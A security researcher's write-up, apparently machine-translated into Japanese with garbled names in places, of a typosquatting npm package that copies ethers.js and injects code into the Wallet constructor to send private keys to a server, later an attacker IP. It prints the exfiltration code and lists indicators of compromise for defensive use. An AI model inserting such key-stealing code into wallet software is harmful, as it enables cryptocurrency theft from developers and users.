先週、当社の自動マルウェア解析パイプラインが不審なパッケージにフラグを立てました。 ウェブ3ラッパー・エーテル
.このパッケージは エーテル
ライブラリが含まれており、秘密鍵を盗むように設計された難読化コードが含まれている。我々の調査により、このパッケージは、以下のような脅威行為者と関連している可能性があることが判明した。 ボイド・ドッカエビ
Web3、ブロックチェーン、暗号通貨技術の開発に携わる開発者から暗号通貨を盗むことで知られるグループ。
パッケージ
このパッケージは当初、6月5日午前0時45分(GMT+0)にリリースされた:

このパッケージが人を欺くために作られていることを示すいくつかの兆候が見られる。パッケージ名は ウェブ3ラッパー・エーテル
を指している。 ethers.js
プロジェクトをGitHubにコピーした。実際、攻撃者は単にリポジトリをコピーし、細かい修正を加えただけだった。彼らは1日以内に合計5つのバージョンをリリースした。
著者
このパッケージは カウフマン0913
のEメールと一致する。 kaufman0913@gmail[.]com
.

ラプンツェルの非常に解像度の低い写真を選んだのは...興味深い。でも、今はそのことにとらわれないでおこう。
パッケージの役割は?
このパッケージが何をしようとしているのかを知るために、私たちは最新バージョンのethersをダウンロードし、それに対してdiffを実行し、攻撃者が何をしたのかを確認した。
その結果、以下のことが判明した。 6.14.3
そして 6.14.4
実際にコードに手を加えたわけではなく、単にパッケージの名前を変えただけだ。
バージョンは変わり始める 6.14.5
で新しい依存関係を追加したことがわかる。 package.json
と付け加えた。 ノードフェッチ
と対応する types/ノードフェッチ
devDependency
.その理由はすぐにわかるだろう。
開発者が修正した主なファイルは、以下のファイルである。 src.ts/wallet/wallet.ts
への変更にもつながる。 lib.esm/wallet/wallet.js
そして lib.commonjs/wallet/wallet.js
これは同じファイルの対応するコンパイル版である。
我々は次のように見ている。 6.14.5
クラスのコンストラクタを変更し、その下にすべてを追加した。 スーパー()
を呼び出す:
export class Wallet extends BaseWallet {
/** * Create a new wallet for the private %%key%%, optionally connected * to %%provider%%. */
constructor(key: string | SigningKey, provider?: null | Provider) {
if (typeof(key) === "string" && !key.startsWith("0x")) {
key = "0x" + key;
}
let signingKey = (typeof(key) === "string") ? new SigningKey(key): key;
super(signingKey, provider);
// Send private key to server (Node.js and browser)
const url = 'http://localhost:3000/save-key';
if (typeof window === "undefined") {
// Node.js environment: use dynamic import for node-fetch
import('node-fetch').then(module => {
const fetch = module.default;
fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ privateKey: this.privateKey })
})
.catch(() => {});
}).catch(() => {});
} else {
// Browser environment: use native fetch
fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ privateKey: this.privateKey })
})
// .then(data => console.log('Server response:', data))
.catch(() => {});
}
}
...
ここに、秘密鍵を流出させようとしている兆候を見ることができる。実際、彼らのコメントには、秘密鍵をサーバーに送信していることがはっきりと書かれている。しかし、それはlocalhostアドレスを指している。つまり、彼らはこれをリアルタイムで行っているのだ。彼らの開発プロセスを知ることができる。
で 6.14.6
コードが変わります。今はこうなっている:
// Send private key to server (Node.js and browser)
const enc = "ff47554247f2094dda55b84b7da6e6c9:fd81fc4d8379f535510c1f064549472e5a1dd26c32c1937c1e23db1b56bfb42f"
const tar = dec(enc);
console.log(tar);
if (typeof window === "undefined") {
import('node-fetch').then(module => {
const fetch = module.default;
fetch(tar, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ pk: this.privateKey })
})
.catch(() => {});
}).catch(() => {});
} else {
fetch(tar, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ pk: this.privateKey })
})
.catch(() => {});
}
では、暗号化された暗号化変数の背後には何があるのか?それがこれだ!
http:/74.119.194[.]244/fetch
何か変なものが見えますか?無効なHTTP URLです。これは /
プロトコルにおっと!
最後のリリースだ、 6.14.7
を追加しただけで、大きな変更はありません。単にコードのコメントとconsole.logが削除されるだけだ。攻撃者は、悪意があることを認めることとデバッグ・ログを削除することで、すべてが完了したと考えたに違いない。しかし、URLがまだ無効であるという問題には対処していない。
北朝鮮がまた?
ほんの数カ月前のことだ、 暗号通貨のウォレットを盗もうとしている北朝鮮のハッカーを発見した。.また、彼らはリアルタイムでバージョンをリリースし、壊れたコードをデバッグしていた。このようなことが再び起こるのは不思議なことだ。少なくとも今回、彼らが最初にしたことはノード・フェッチを取り入れることだった。 アクシオス
電話がつながらない。
この場合、IPという別の情報がある。このIPをVirusTotalで調べてみると、疑惑が確信に変わった:

そのコメントにはこうある:
https://documents.trendmicro.com/assets/txt/IOCs_VoidDokkaebi_2t9ScKI5.txt
https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html
そして、TrendMicroのIOCリストには、このIPがEgressノードであることが記載されている: 朝鮮民主主義人民共和国のIPアドレスによるRDP経由での活動
.そして、彼らの広範な報告は、このパッケージに見られるものと非常に一致している:Web3/暗号に関わる開発者を標的にし、通貨を盗もうとしている。
妥協の指標
幸運なことに、コードが完全には機能しないことを考えると、このパッケージがダウンロードおよび/または実行された場合に危害を及ぼしたという兆候はない。しかし、パッケージをインストールした場合、以下のIPへのトラフィックを監査して、被害がなかったことを確認してください。このIPアドレスへのトラフィックに気づいたら、暗号鍵が漏洩していると考えてください。
パッケージ:
ウェブ3ラッパー・エーテル
IPだ:
74.119.194[.]244
Aikido セキュリティーの調査結果はこちら。